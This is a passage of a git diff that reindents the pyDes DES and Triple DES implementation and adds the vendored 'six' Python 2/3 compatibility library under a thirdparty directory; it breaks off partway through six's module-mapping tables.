if not data: + return '' + if len(data) % self.block_size != 0: + if crypt_type == des.DECRYPT: # Decryption must work on 8 byte blocks + raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n.") + if not self.getPadding(): + raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n. Try setting the optional padding character") + else: + data += (self.block_size - (len(data) % self.block_size)) * self.getPadding() + # print "Len of data: %f" % (len(data) / self.block_size) + + if self.getMode() == CBC: + if self.getIV(): + iv = self.__String_to_BitList(self.getIV()) + else: + raise ValueError("For CBC mode, you must supply the Initial Value (IV) for ciphering") + + # Split the data into blocks, crypting each one seperately + i = 0 + dict = {} + result = [] + #cached = 0 + #lines = 0 + while i < len(data): + # Test code for caching encryption results + #lines += 1 + #if dict.has_key(data[i:i+8]): + #print "Cached result for: %s" % data[i:i+8] + # cached += 1 + # result.append(dict[data[i:i+8]]) + # i += 8 + # continue + + block = self.__String_to_BitList(data[i:i+8]) + + # Xor with IV if using CBC mode + if self.getMode() == CBC: + if crypt_type == des.ENCRYPT: + block = [b ^ v for b, v in zip(block, iv)] + #j = 0 + #while j < len(block): + # block[j] = block[j] ^ iv[j] + # j += 1 + + processed_block = self.__des_crypt(block, crypt_type) + + if crypt_type == des.DECRYPT: + processed_block = [b ^ v for b, v in zip(processed_block, iv)] + #j = 0 + #while j < len(processed_block): + # processed_block[j] = processed_block[j] ^ iv[j] + # j += 1 + iv = block + else: + iv = processed_block + else: + processed_block = self.__des_crypt(block, crypt_type) + + + # Add the resulting crypted block to our list + #d = self.__BitList_to_String(processed_block) + #result.append(d) + result.append(self.__BitList_to_String(processed_block)) + #dict[data[i:i+8]] = d + i += 8 + + # print "Lines: %d, cached: %d" % (lines, cached) + + # Return the full crypted string + if _pythonMajorVersion < 3: + return ''.join(result) + else: + return bytes.fromhex('').join(result) + + def encrypt(self, data, pad=None, padmode=None): + """encrypt(data, [pad], [padmode]) -> bytes + + data : Bytes to be encrypted + pad : Optional argument for encryption padding. Must only be one byte + padmode : Optional argument for overriding the padding mode. + + The data must be a multiple of 8 bytes and will be encrypted + with the already specified key. Data does not have to be a + multiple of 8 bytes if the padding character is supplied, or + the padmode is set to PAD_PKCS5, as bytes will then added to + ensure the be padded data is a multiple of 8 bytes. + """ + data = self._guardAgainstUnicode(data) + if pad is not None: + pad = self._guardAgainstUnicode(pad) + data = self._padData(data, pad, padmode) + return self.crypt(data, des.ENCRYPT) + + def decrypt(self, data, pad=None, padmode=None): + """decrypt(data, [pad], [padmode]) -> bytes + + data : Bytes to be encrypted + pad : Optional argument for decryption padding. Must only be one byte + padmode : Optional argument for overriding the padding mode. + + The data must be a multiple of 8 bytes and will be decrypted + with the already specified key. In PAD_NORMAL mode, if the + optional padding character is supplied, then the un-encrypted + data will have the padding characters removed from the end of + the bytes. This pad removal only occurs on the last 8 bytes of + the data (last data block). In PAD_PKCS5 mode, the special + padding end markers will be removed from the data after decrypting. + """ + data = self._guardAgainstUnicode(data) + if pad is not None: + pad = self._guardAgainstUnicode(pad) + data = self.crypt(data, des.DECRYPT) + return self._unpadData(data, pad, padmode) ############################################################################# -# Triple DES # +# Triple DES # ############################################################################# class triple_des(_baseDes): - """Triple DES encryption/decrytpion class - - This algorithm uses the DES-EDE3 (when a 24 byte key is supplied) or - the DES-EDE2 (when a 16 byte key is supplied) encryption methods. - Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes. - - pyDes.des(key, [mode], [IV]) - - key -> Bytes containing the encryption key, must be either 16 or - 24 bytes long - mode -> Optional argument for encryption type, can be either pyDes.ECB - (Electronic Code Book), pyDes.CBC (Cypher Block Chaining) - IV -> Optional Initial Value bytes, must be supplied if using CBC mode. - Must be 8 bytes in length. - pad -> Optional argument, set the pad character (PAD_NORMAL) to use - during all encrypt/decrpt operations done with this instance. - padmode -> Optional argument, set the padding mode (PAD_NORMAL or - PAD_PKCS5) to use during all encrypt/decrpt operations done - with this instance. - """ - def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): - _baseDes.__init__(self, mode, IV, pad, padmode) - self.setKey(key) - - def setKey(self, key): - """Will set the crypting key for this object. Either 16 or 24 bytes long.""" - self.key_size = 24 # Use DES-EDE3 mode - if len(key) != self.key_size: - if len(key) == 16: # Use DES-EDE2 mode - self.key_size = 16 - else: - raise ValueError("Invalid triple DES key size. Key must be either 16 or 24 bytes long") - if self.getMode() == CBC: - if not self.getIV(): - # Use the first 8 bytes of the key - self._iv = key[:self.block_size] - if len(self.getIV()) != self.block_size: - raise ValueError("Invalid IV, must be 8 bytes in length") - self.__key1 = des(key[:8], self._mode, self._iv, - self._padding, self._padmode) - self.__key2 = des(key[8:16], self._mode, self._iv, - self._padding, self._padmode) - if self.key_size == 16: - self.__key3 = self.__key1 - else: - self.__key3 = des(key[16:], self._mode, self._iv, - self._padding, self._padmode) - _baseDes.setKey(self, key) - - # Override setter methods to work on all 3 keys. - - def setMode(self, mode): - """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC""" - _baseDes.setMode(self, mode) - for key in (self.__key1, self.__key2, self.__key3): - key.setMode(mode) - - def setPadding(self, pad): - """setPadding() -> bytes of length 1. Padding character.""" - _baseDes.setPadding(self, pad) - for key in (self.__key1, self.__key2, self.__key3): - key.setPadding(pad) - - def setPadMode(self, mode): - """Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" - _baseDes.setPadMode(self, mode) - for key in (self.__key1, self.__key2, self.__key3): - key.setPadMode(mode) - - def setIV(self, IV): - """Will set the Initial Value, used in conjunction with CBC mode""" - _baseDes.setIV(self, IV) - for key in (self.__key1, self.__key2, self.__key3): - key.setIV(IV) - - def encrypt(self, data, pad=None, padmode=None): - """encrypt(data, [pad], [padmode]) -> bytes - - data : bytes to be encrypted - pad : Optional argument for encryption padding. Must only be one byte - padmode : Optional argument for overriding the padding mode. - - The data must be a multiple of 8 bytes and will be encrypted - with the already specified key. Data does not have to be a - multiple of 8 bytes if the padding character is supplied, or - the padmode is set to PAD_PKCS5, as bytes will then added to - ensure the be padded data is a multiple of 8 bytes. - """ - ENCRYPT = des.ENCRYPT - DECRYPT = des.DECRYPT - data = self._guardAgainstUnicode(data) - if pad is not None: - pad = self._guardAgainstUnicode(pad) - # Pad the data accordingly. - data = self._padData(data, pad, padmode) - if self.getMode() == CBC: - self.__key1.setIV(self.getIV()) - self.__key2.setIV(self.getIV()) - self.__key3.setIV(self.getIV()) - i = 0 - result = [] - while i < len(data): - block = self.__key1.crypt(data[i:i+8], ENCRYPT) - block = self.__key2.crypt(block, DECRYPT) - block = self.__key3.crypt(block, ENCRYPT) - self.__key1.setIV(block) - self.__key2.setIV(block) - self.__key3.setIV(block) - result.append(block) - i += 8 - if _pythonMajorVersion < 3: - return ''.join(result) - else: - return bytes.fromhex('').join(result) - else: - data = self.__key1.crypt(data, ENCRYPT) - data = self.__key2.crypt(data, DECRYPT) - return self.__key3.crypt(data, ENCRYPT) - - def decrypt(self, data, pad=None, padmode=None): - """decrypt(data, [pad], [padmode]) -> bytes - - data : bytes to be encrypted - pad : Optional argument for decryption padding. Must only be one byte - padmode : Optional argument for overriding the padding mode. - - The data must be a multiple of 8 bytes and will be decrypted - with the already specified key. In PAD_NORMAL mode, if the - optional padding character is supplied, then the un-encrypted - data will have the padding characters removed from the end of - the bytes. This pad removal only occurs on the last 8 bytes of - the data (last data block). In PAD_PKCS5 mode, the special - padding end markers will be removed from the data after - decrypting, no pad character is required for PAD_PKCS5. - """ - ENCRYPT = des.ENCRYPT - DECRYPT = des.DECRYPT - data = self._guardAgainstUnicode(data) - if pad is not None: - pad = self._guardAgainstUnicode(pad) - if self.getMode() == CBC: - self.__key1.setIV(self.getIV()) - self.__key2.setIV(self.getIV()) - self.__key3.setIV(self.getIV()) - i = 0 - result = [] - while i < len(data): - iv = data[i:i+8] - block = self.__key3.crypt(iv, DECRYPT) - block = self.__key2.crypt(block, ENCRYPT) - block = self.__key1.crypt(block, DECRYPT) - self.__key1.setIV(iv) - self.__key2.setIV(iv) - self.__key3.setIV(iv) - result.append(block) - i += 8 - if _pythonMajorVersion < 3: - data = ''.join(result) - else: - data = bytes.fromhex('').join(result) - else: - data = self.__key3.crypt(data, DECRYPT) - data = self.__key2.crypt(data, ENCRYPT) - data = self.__key1.crypt(data, DECRYPT) - return self._unpadData(data, pad, padmode) + """Triple DES encryption/decrytpion class + + This algorithm uses the DES-EDE3 (when a 24 byte key is supplied) or + the DES-EDE2 (when a 16 byte key is supplied) encryption methods. + Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes. + + pyDes.des(key, [mode], [IV]) + + key -> Bytes containing the encryption key, must be either 16 or + 24 bytes long + mode -> Optional argument for encryption type, can be either pyDes.ECB + (Electronic Code Book), pyDes.CBC (Cypher Block Chaining) + IV -> Optional Initial Value bytes, must be supplied if using CBC mode. + Must be 8 bytes in length. + pad -> Optional argument, set the pad character (PAD_NORMAL) to use + during all encrypt/decrpt operations done with this instance. + padmode -> Optional argument, set the padding mode (PAD_NORMAL or + PAD_PKCS5) to use during all encrypt/decrpt operations done + with this instance. + """ + def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): + _baseDes.__init__(self, mode, IV, pad, padmode) + self.setKey(key) + + def setKey(self, key): + """Will set the crypting key for this object. Either 16 or 24 bytes long.""" + self.key_size = 24 # Use DES-EDE3 mode + if len(key) != self.key_size: + if len(key) == 16: # Use DES-EDE2 mode + self.key_size = 16 + else: + raise ValueError("Invalid triple DES key size. Key must be either 16 or 24 bytes long") + if self.getMode() == CBC: + if not self.getIV(): + # Use the first 8 bytes of the key + self._iv = key[:self.block_size] + if len(self.getIV()) != self.block_size: + raise ValueError("Invalid IV, must be 8 bytes in length") + self.__key1 = des(key[:8], self._mode, self._iv, + self._padding, self._padmode) + self.__key2 = des(key[8:16], self._mode, self._iv, + self._padding, self._padmode) + if self.key_size == 16: + self.__key3 = self.__key1 + else: + self.__key3 = des(key[16:], self._mode, self._iv, + self._padding, self._padmode) + _baseDes.setKey(self, key) + + # Override setter methods to work on all 3 keys. + + def setMode(self, mode): + """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC""" + _baseDes.setMode(self, mode) + for key in (self.__key1, self.__key2, self.__key3): + key.setMode(mode) + + def setPadding(self, pad): + """setPadding() -> bytes of length 1. Padding character.""" + _baseDes.setPadding(self, pad) + for key in (self.__key1, self.__key2, self.__key3): + key.setPadding(pad) + + def setPadMode(self, mode): + """Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" + _baseDes.setPadMode(self, mode) + for key in (self.__key1, self.__key2, self.__key3): + key.setPadMode(mode) + + def setIV(self, IV): + """Will set the Initial Value, used in conjunction with CBC mode""" + _baseDes.setIV(self, IV) + for key in (self.__key1, self.__key2, self.__key3): + key.setIV(IV) + + def encrypt(self, data, pad=None, padmode=None): + """encrypt(data, [pad], [padmode]) -> bytes + + data : bytes to be encrypted + pad : Optional argument for encryption padding. Must only be one byte + padmode : Optional argument for overriding the padding mode. + + The data must be a multiple of 8 bytes and will be encrypted + with the already specified key. Data does not have to be a + multiple of 8 bytes if the padding character is supplied, or + the padmode is set to PAD_PKCS5, as bytes will then added to + ensure the be padded data is a multiple of 8 bytes. + """ + ENCRYPT = des.ENCRYPT + DECRYPT = des.DECRYPT + data = self._guardAgainstUnicode(data) + if pad is not None: + pad = self._guardAgainstUnicode(pad) + # Pad the data accordingly. + data = self._padData(data, pad, padmode) + if self.getMode() == CBC: + self.__key1.setIV(self.getIV()) + self.__key2.setIV(self.getIV()) + self.__key3.setIV(self.getIV()) + i = 0 + result = [] + while i < len(data): + block = self.__key1.crypt(data[i:i+8], ENCRYPT) + block = self.__key2.crypt(block, DECRYPT) + block = self.__key3.crypt(block, ENCRYPT) + self.__key1.setIV(block) + self.__key2.setIV(block) + self.__key3.setIV(block) + result.append(block) + i += 8 + if _pythonMajorVersion < 3: + return ''.join(result) + else: + return bytes.fromhex('').join(result) + else: + data = self.__key1.crypt(data, ENCRYPT) + data = self.__key2.crypt(data, DECRYPT) + return self.__key3.crypt(data, ENCRYPT) + + def decrypt(self, data, pad=None, padmode=None): + """decrypt(data, [pad], [padmode]) -> bytes + + data : bytes to be encrypted + pad : Optional argument for decryption padding. Must only be one byte + padmode : Optional argument for overriding the padding mode. + + The data must be a multiple of 8 bytes and will be decrypted + with the already specified key. In PAD_NORMAL mode, if the + optional padding character is supplied, then the un-encrypted + data will have the padding characters removed from the end of + the bytes. This pad removal only occurs on the last 8 bytes of + the data (last data block). In PAD_PKCS5 mode, the special + padding end markers will be removed from the data after + decrypting, no pad character is required for PAD_PKCS5. + """ + ENCRYPT = des.ENCRYPT + DECRYPT = des.DECRYPT + data = self._guardAgainstUnicode(data) + if pad is not None: + pad = self._guardAgainstUnicode(pad) + if self.getMode() == CBC: + self.__key1.setIV(self.getIV()) + self.__key2.setIV(self.getIV()) + self.__key3.setIV(self.getIV()) + i = 0 + result = [] + while i < len(data): + iv = data[i:i+8] + block = self.__key3.crypt(iv, DECRYPT) + block = self.__key2.crypt(block, ENCRYPT) + block = self.__key1.crypt(block, DECRYPT) + self.__key1.setIV(iv) + self.__key2.setIV(iv) + self.__key3.setIV(iv) + result.append(block) + i += 8 + if _pythonMajorVersion < 3: + data = ''.join(result) + else: + data = bytes.fromhex('').join(result) + else: + data = self.__key3.crypt(data, DECRYPT) + data = self.__key2.crypt(data, ENCRYPT) + data = self.__key1.crypt(data, DECRYPT) + return self._unpadData(data, pad, padmode) diff --git a/thirdparty/six/__init__.py b/thirdparty/six/__init__.py new file mode 100644 index 00000000000..3de5969b1ad --- /dev/null +++ b/thirdparty/six/__init__.py @@ -0,0 +1,1003 @@ +# Copyright (c) 2010-2024 Benjamin Peterson +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +"""Utilities for writing code that runs on Python 2 and 3""" + +from __future__ import absolute_import + +import functools +import itertools +import operator +import sys +import types + +__author__ = "Benjamin Peterson " +__version__ = "1.17.0" + + +# Useful for very coarse version differentiation. +PY2 = sys.version_info[0] == 2 +PY3 = sys.version_info[0] == 3 +PY34 = sys.version_info[0:2] >= (3, 4) + +if PY3: + string_types = str, + integer_types = int, + class_types = type, + text_type = str + binary_type = bytes + + MAXSIZE = sys.maxsize +else: + string_types = basestring, + integer_types = (int, long) + class_types = (type, types.ClassType) + text_type = unicode + binary_type = str + + if sys.platform.startswith("java"): + # Jython always uses 32 bits. + MAXSIZE = int((1 << 31) - 1) + else: + # It's possible to have sizeof(long) != sizeof(Py_ssize_t). + class X(object): + + def __len__(self): + return 1 << 31 + try: + len(X()) + except OverflowError: + # 32-bit + MAXSIZE = int((1 << 31) - 1) + else: + # 64-bit + MAXSIZE = int((1 << 63) - 1) + del X + +if PY34: + from importlib.util import spec_from_loader +else: + spec_from_loader = None + + +def _add_doc(func, doc): + """Add documentation to a function.""" + func.__doc__ = doc + + +def _import_module(name): + """Import module, returning the module after the last dot.""" + __import__(name) + return sys.modules[name] + + +class _LazyDescr(object): + + def __init__(self, name): + self.name = name + + def __get__(self, obj, tp): + result = self._resolve() + setattr(obj, self.name, result) # Invokes __set__. + try: + # This is a bit ugly, but it avoids running this again by + # removing this descriptor. + delattr(obj.__class__, self.name) + except AttributeError: + pass + return result + + +class MovedModule(_LazyDescr): + + def __init__(self, name, old, new=None): + super(MovedModule, self).__init__(name) + if PY3: + if new is None: + new = name + self.mod = new + else: + self.mod = old + + def _resolve(self): + return _import_module(self.mod) + + def __getattr__(self, attr): + _module = self._resolve() + value = getattr(_module, attr) + setattr(self, attr, value) + return value + + +class _LazyModule(types.ModuleType): + + def __init__(self, name): + super(_LazyModule, self).__init__(name) + self.__doc__ = self.__class__.__doc__ + + def __dir__(self): + attrs = ["__doc__", "__name__"] + attrs += [attr.name for attr in self._moved_attributes] + return attrs + + # Subclasses should override this + _moved_attributes = [] + + +class MovedAttribute(_LazyDescr): + + def __init__(self, name, old_mod, new_mod, old_attr=None, new_attr=None): + super(MovedAttribute, self).__init__(name) + if PY3: + if new_mod is None: + new_mod = name + self.mod = new_mod + if new_attr is None: + if old_attr is None: + new_attr = name + else: + new_attr = old_attr + self.attr = new_attr + else: + self.mod = old_mod + if old_attr is None: + old_attr = name + self.attr = old_attr + + def _resolve(self): + module = _import_module(self.mod) + return getattr(module, self.attr) + + +class _SixMetaPathImporter(object): + + """ + A meta path importer to import six.moves and its submodules. + + This class implements a PEP302 finder and loader. It should be compatible + with Python 2.5 and all existing versions of Python3 + """ + + def __init__(self, six_module_name): + self.name = six_module_name + self.known_modules = {} + + def _add_module(self, mod, *fullnames): + for fullname in fullnames: + self.known_modules[self.name + "." + fullname] = mod + + def _get_module(self, fullname): + return self.known_modules[self.name + "." + fullname] + + def find_module(self, fullname, path=None): + if fullname in self.known_modules: + return self + return None + + def find_spec(self, fullname, path, target=None): + if fullname in self.known_modules: + return spec_from_loader(fullname, self) + return None + + def __get_module(self, fullname): + try: + return self.known_modules[fullname] + except KeyError: + raise ImportError("This loader does not know module " + fullname) + + def load_module(self, fullname): + try: + # in case of a reload + return sys.modules[fullname] + except KeyError: + pass + mod = self.__get_module(fullname) + if isinstance(mod, MovedModule): + mod = mod._resolve() + else: + mod.__loader__ = self + sys.modules[fullname] = mod + return mod + + def is_package(self, fullname): + """ + Return true, if the named module is a package. + + We need this method to get correct spec objects with + Python 3.4 (see PEP451) + """ + return hasattr(self.__get_module(fullname), "__path__") + + def get_code(self, fullname): + """Return None + + Required, if is_package is implemented""" + self.__get_module(fullname) # eventually raises ImportError + return None + get_source = get_code # same as get_code + + def create_module(self, spec): + return self.load_module(spec.name) + + def exec_module(self, module): + pass + +_importer = _SixMetaPathImporter(__name__) + + +class _MovedItems(_LazyModule): + + """Lazy loading of moved objects""" + __path__ = [] # mark as package + + +_moved_attributes = [ + MovedAttribute("cStringIO", "cStringIO", "io", "StringIO"), + MovedAttribute("filter", "itertools", "builtins", "ifilter", "filter"), + MovedAttribute("filterfalse", "itertools", "itertools", "ifilterfalse", "filterfalse"), + MovedAttribute("input", "__builtin__", "builtins", "raw_input", "input"), + MovedAttribute("intern", "__builtin__", "sys"), + MovedAttribute("map", "itertools", "builtins", "imap", "map"), + MovedAttribute("getcwd", "os", "os", "getcwdu", "getcwd"), + MovedAttribute("getcwdb", "os", "os", "getcwd", "getcwdb"), + MovedAttribute("getoutput", "commands", "subprocess"), + MovedAttribute("range", "__builtin__", "builtins", "xrange", "range"), + MovedAttribute("reload_module", "__builtin__", "importlib" if PY34 else "imp", "reload"), + MovedAttribute("reduce", "__builtin__", "functools"), + MovedAttribute("shlex_quote", "pipes", "shlex", "quote"), + MovedAttribute("StringIO", "StringIO", "io"), + MovedAttribute("UserDict", "UserDict", "collections", "IterableUserDict", "UserDict"), + MovedAttribute("UserList", "UserList", "collections"), + MovedAttribute("UserString", "UserString", "collections"), + MovedAttribute("xrange", "__builtin__", "builtins", "xrange", "range"), + MovedAttribute("zip", "itertools", "builtins", "izip", "zip"), + MovedAttribute("zip_longest", "itertools", "itertools", "izip_longest", "zip_longest"), + MovedModule("builtins", "__builtin__"), + MovedModule("configparser", "ConfigParser"), + MovedModule("collections_abc", "collections", "collections.abc" if sys.version_info >= (3, 3) else "collections"), + MovedModule("copyreg", "copy_reg"), + MovedModule("dbm_gnu", "gdbm", "dbm.gnu"), + MovedModule("dbm_ndbm", "dbm", "dbm.ndbm"), + MovedModule("_dummy_thread", "dummy_thread", "_dummy_thread" if sys.version_info < (3, 9) else "_thread"), + MovedModule("http_cookiejar", "cookielib", "http.cookiejar"), + MovedModule("http_cookies", "Cookie", "http.cookies"), + MovedModule("html_entities", "htmlentitydefs", "html.entities"), + MovedModule("html_parser", "HTMLParser", "html.parser"), + MovedModule("http_client", "httplib", "http.client"), + MovedModule("email_mime_base", "email.MIMEBase", "email.mime.base"), + MovedModule("email_mime_image", "email.MIMEImage", "email.mime.image"), + MovedModule("email_mime_multipart", "email.MIMEMultipart", "email.mime.multipart"), + MovedModule("email_mime_nonmultipart", "email.MIMENonMultipart", "email.mime.nonmultipart"), + MovedModule("email_mime_text", "email.MIMEText", "email.mime.text"), + MovedModule("BaseHTTPServer", "BaseHTTPServer", "http.server"), + MovedModule("CGIHTTPServer", "CGIHTTPServer", "http.server"), + MovedModule("SimpleHTTPServer", "SimpleHTTPServer", "http.server"), + MovedModule("cPickle", "cPickle", "pickle"), + MovedModule("queue", "Queue"), + MovedModule("reprlib", "repr"), + MovedModule("socketserver", "SocketServer"), + MovedModule("_thread", "thread", "_thread"), + MovedModule("tkinter", "Tkinter"), + MovedModule("tkinter_dialog", "Dialog", "tkinter.dialog"), + MovedModule("tkinter_filedialog", "FileDialog", "tkinter.filedialog"), + MovedModule("tkinter_scrolledtext", "ScrolledText", "tkinter.scrolledtext"), + MovedModule("tkinter_simpledialog", "SimpleDialog", "tkinter.simpledialog"), + MovedModule("tkinter_tix", "Tix", "tkinter.tix"), + MovedModule("tkinter_ttk", "ttk", "tkinter.ttk"), + MovedModule("tkinter_constants", "Tkconstants", "tkinter.constants"), + MovedModule("tkinter_dnd", "Tkdnd", "tkinter.dnd"), + MovedModule("tkinter_colorchooser", "tkColorChooser", + "tkinter.colorchooser"), + MovedModule("tkinter_commondialog", "tkCommonDialog", + "tkinter.commondialog"), + MovedModule("tkinter_tkfiledialog", "tkFileDialog", "tkinter.filedialog"), + MovedModule("tkinter_font", "tkFont", "tkinter.font"), + MovedModule("tkinter_messagebox", "tkMessageBox", "tkinter.messagebox"), + MovedModule("tkinter_tksimpledialog", "tkSimpleDialog", + "tkinter.simpledialog"), + MovedModule("urllib_parse", __name__ + ".moves.urllib_parse", "urllib.parse"), + MovedModule("urllib_error", __name__ + ".moves.urllib_error", "urllib.error"), + MovedModule("urllib", __name__ + ".moves.urllib", __name__ + ".moves.urllib"), + MovedModule("urllib_robotparser", "robotparser", "urllib.robotparser"), + MovedModule("xmlrpc_client", "xmlrpclib", "xmlrpc.client"), + MovedModule("xmlrpc_server", "SimpleXMLRPCServer", "xmlrpc.server"), +] +# Add windows specific modules. +if sys.platform == "win32": + _moved_attributes += [ + MovedModule("winreg", "_winreg"), + ] + +for attr in _moved_attributes: + setattr(_MovedItems, attr.name, attr) + if isinstance(attr, MovedModule): + _importer._add_module(attr, "moves." + attr.name) +del attr + +_MovedItems._moved_attributes = _moved_attributes + +moves = _MovedItems(__name__ + ".moves") +_importer._add_module(moves, "moves") + + +class Module_six_moves_urllib_parse(_LazyModule): + + """Lazy loading of moved objects in six.moves.urllib_parse""" + + +_urllib_parse_moved_attributes = [ + MovedAttribute("ParseResult", "urlparse", "urllib.parse"), + MovedAttribute("SplitResult", "urlparse", "urllib.parse"), + MovedAttribute("parse_qs", "urlparse", "urllib.parse"), + MovedAttribute("parse_qsl", "urlparse", "urllib.parse"), + MovedAttribute("urldefrag", "urlparse", "urllib.parse"), + MovedAttribute("urljoin", "urlparse", "urllib.parse"), + MovedAttribute("urlparse", "urlparse", "urllib.parse"), + MovedAttribute("urlsplit", "urlparse", "urllib.parse"), + MovedAttribute("urlunparse", "urlparse", "urllib.parse"), + MovedAttribute("urlunsplit", "urlparse", "urllib.parse"), + MovedAttribute("quote", "urllib", "urllib.parse"), + MovedAttribute("quote_plus", "urllib", "urllib.parse"), + MovedAttribute("unquote", "urllib", "urllib.parse"), + MovedAttribute("unquote_plus", "urllib", "urllib.parse"), + MovedAttribute("unquote_to_bytes", "urllib", "urllib.parse", "unquote", "unquote_to_bytes"), + MovedAttribute("urlencode", "urllib", "urllib.parse"), + MovedAttribute("splitquery", "urllib", "urllib.parse"), + MovedAttribute("splittag", "urllib", "urllib.parse"), + MovedAttribute("splituser", "urllib", "urllib.parse"), + MovedAttribute("splitvalue", "urllib", "urllib.parse"), + MovedAttribute("uses_fragment", "urlparse", "urllib.parse"), + MovedAttribute("uses_netloc", "urlparse", "urllib.parse"), + MovedAttribute("uses_params", "urlparse", "urllib.parse"), + MovedAttribute("uses_query", "urlparse", "urllib.parse"), + MovedAttribute("uses_relative", "urlparse", "urllib.parse"), +] +for attr in _urllib_parse_moved_attributes: + setattr(Module_six_moves_urllib_parse, attr.name, attr) +del attr + +Module_six_moves_urllib_parse._moved_attributes = _urllib_parse_moved_attributes + +_importer._add_module(Module_six_moves_urllib_parse(__name__ + ".moves.urllib_parse"), + "moves.urllib_parse", "moves.urllib.parse") + + +class Module_six_moves_urllib_error(_LazyModule): + + """Lazy loading of moved objects in six.moves.urllib_error""" + + +_urllib_error_moved_attributes = [ + MovedAttribute("URLError", "urllib2", "urllib.error"), + MovedAttribute("HTTPError", "urllib2", "urllib.error"), + MovedAttribute("ContentTooShortError", "urllib", "urllib.error"), +] +for attr in _urllib_error_moved_attributes: + setattr(Module_six_moves_urllib_error, attr.name, attr) +del attr + +Module_six_moves_urllib_error._moved_attributes = _urllib_error_moved_attributes + +_importer._add_module(Module_six_moves_urllib_error(__name__ + ".moves.urllib.error"), + "moves.urllib_error", "moves.urllib.error") + + +class Module_six_moves_urllib_request(_LazyModule): + + """Lazy loading of moved objects in six.moves.urllib_request""" + + +_urllib_request_moved_attributes = [ + MovedAttribute("urlopen", "urllib2", "urllib.request"), + MovedAttribute("install_opener", "urllib2", "urllib.request"), + MovedAttribute("build_opener", "urllib2", "urllib.request"), + MovedAttribute("pathname2url", "urllib", "urllib.request"), + MovedAttribute("url2pathname", "urllib", "urllib.request"), + MovedAttribute("getproxies", "urllib", "urllib.request"), + MovedAttribute("Request", "urllib2", "urllib.request"), + MovedAttribute("OpenerDirector", "urllib2", "urllib.request"), + MovedAttribute("HTTPDefaultErrorHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPRedirectHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPCookieProcessor", "urllib2", "urllib.request"), + MovedAttribute("ProxyHandler", "urllib2", "urllib.request"), + MovedAttribute("BaseHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPPasswordMgr", "urllib2", "urllib.request"), + MovedAttribute("HTTPPasswordMgrWithDefaultRealm", "urllib2", "urllib.request"), + MovedAttribute("AbstractBasicAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPBasicAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("ProxyBasicAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("AbstractDigestAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPDigestAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("ProxyDigestAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPSHandler", "urllib2", "urllib.request"), + MovedAttribute("FileHandler", "urllib2", "urllib.request"), + MovedAttribute("FTPHandler", "urllib2", "urllib.request"), + MovedAttribute("CacheFTPHandler", "urllib2", "urllib.request"), + MovedAttribute("UnknownHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPErrorProcessor", "urllib2", "urllib.request"), + MovedAttribute("urlretrieve", "urllib", "urllib.request"), + MovedAttribute("urlcleanup", "urllib", "urllib.request"), + MovedAttribute("proxy_bypass", "urllib", "urllib.request"), + MovedAttribute("parse_http_list", "urllib2", "urllib.request"), + MovedAttribute("parse_keqv_list", "urllib2", "urllib.request"), +] +if sys.version_info[:2] < (3, 14): + _urllib_request_moved_attributes.extend( + [ + MovedAttribute("URLopener", "urllib", "urllib.request"), + MovedAttribute("FancyURLopener", "urllib", "urllib.request"), + ] + ) +for attr in _urllib_request_moved_attributes: + setattr(Module_six_moves_urllib_request, attr.name, attr) +del attr + +Module_six_moves_urllib_request._moved_attributes = _urllib_request_moved_attributes + +_importer._add_module(Module_six_moves_urllib_request(__name__ + ".moves.urllib.request"), + "moves.urllib_request", "moves.urllib.request") + + +class Module_six_moves_urllib_response(_LazyModule): + + """Lazy loading of moved objects in six.moves.urllib_response""" + + +_urllib_response_moved_attributes = [ + MovedAttribute("addbase", "urllib", "urllib.response"), + MovedAttribute("addclosehook", "urllib", "urllib.response"), + MovedAttribute("addinfo", "urllib", "urllib.response"), + MovedAttribute("addinfourl", "urllib", "urllib.response"), +] +for attr in _urllib_response_moved_attributes: + setattr(Module_six_moves_urllib_response, attr.name, attr) +del attr + +Module_six_moves_urllib_response._moved_attributes = _urllib_response_moved_attributes + +_importer._add_module(Module_six_moves_urllib_response(__name__ + ".moves.urllib.response"), + "moves.urllib_response", "moves.urllib.response") + + +class Module_six_moves_urllib_robotparser(_LazyModule): + + """Lazy loading of moved objects in six.moves.urllib_robotparser""" + + +_urllib_robotparser_moved_attributes = [ + MovedAttribute("RobotFileParser", "robotparser", "urllib.robotparser"), +] +for attr in _urllib_robotparser_moved_attributes: + setattr(Module_six_moves_urllib_robotparser, 